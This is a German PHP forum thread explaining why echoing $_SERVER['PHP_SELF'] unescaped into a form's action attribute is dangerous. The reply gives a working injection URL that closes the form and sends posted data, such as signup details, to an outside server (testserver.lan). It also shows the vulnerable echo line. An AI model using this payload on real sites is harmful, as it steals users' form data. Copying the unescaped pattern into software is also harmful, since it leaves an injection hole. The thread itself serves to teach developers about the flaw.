Hello,
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
$_SERVER['PHP_SELF'] ist bei der üblichen Serverinrichtung, bei der auch Pfadergänzungen nach der eigentlichen Ressource zulässig sind und ans Script weitergereicht werden, nicht ganz ungefährlich. Insbesondere Formulare werden durch einen "manipulierten Link" auf die Ressource entführbar.
bei mir hat $_SERVER['PHP_SELF'] immer nur den Pfad ohne "?..."
Das ?.... ist der Query-String, der ist erstmal unschädlich, weil er, wie Du schon richtig erkannt hast, abgetrennt wird und dann gesondert und gesplittet in $_GET übergeben wird. Die einzelnen Variablen von $_GET dürfen dann selbstverständlich wieder NICHT ungeprüft übernommen werden.
wie kann das Formular mit $_SERVER['PHP_SELF'] "entführt" werden?
Wenn das Script z.B. auf
http://example.org/script.php
liegt, und man nun noch etwas hinten anhängt
http://example.org/script.php/"></form><form action=http://testserver.lan/info.php name=""
Wenn Du Dir ein Script auf Deinem Swerver baust
<?php ### info.php ###
phpinfo();
?>
Und nun einen "Empfehlungslink" der obigen Art auf das anzugreifende Formular (z.B. ein Anmeldeformular bei einer Community) setzt, dann wird Dir brav der Inhalt des Anmeldeformulars zugepostet, wenn es denn mit Post abgeschickt wird...
Na, dann P(r)OST.
trifft das dann auch auf $_SERVER['REQUEST_URI'] zu?
Diese Frage kann ich nicht wirklich beantworten.
Ich vermute aber, auf $_SERVER['REQUEST_URI'] trifft es deshalb meistens nicht zu, weil man das ja nicht so gedankenlos in das action-Attribut des <form>-Elementes aufnimmt. Die Gefahr besteht also darin, dass man
echo "<form action="{$_SERVER['PHP_SELF']}">";
schreibt.
Hier wird dann der am eigentlichen Selbstbezug anhängende Pfadteil unescaped in das Action-Attribut eingeschleppt und man hätte einen ähnlichen Effekt, wie bei SQL-Injection.
Harzliche Grüße aus
Sankt Andreasberg
und Guten Rutsch
Tom
Nur selber lernen macht schlau
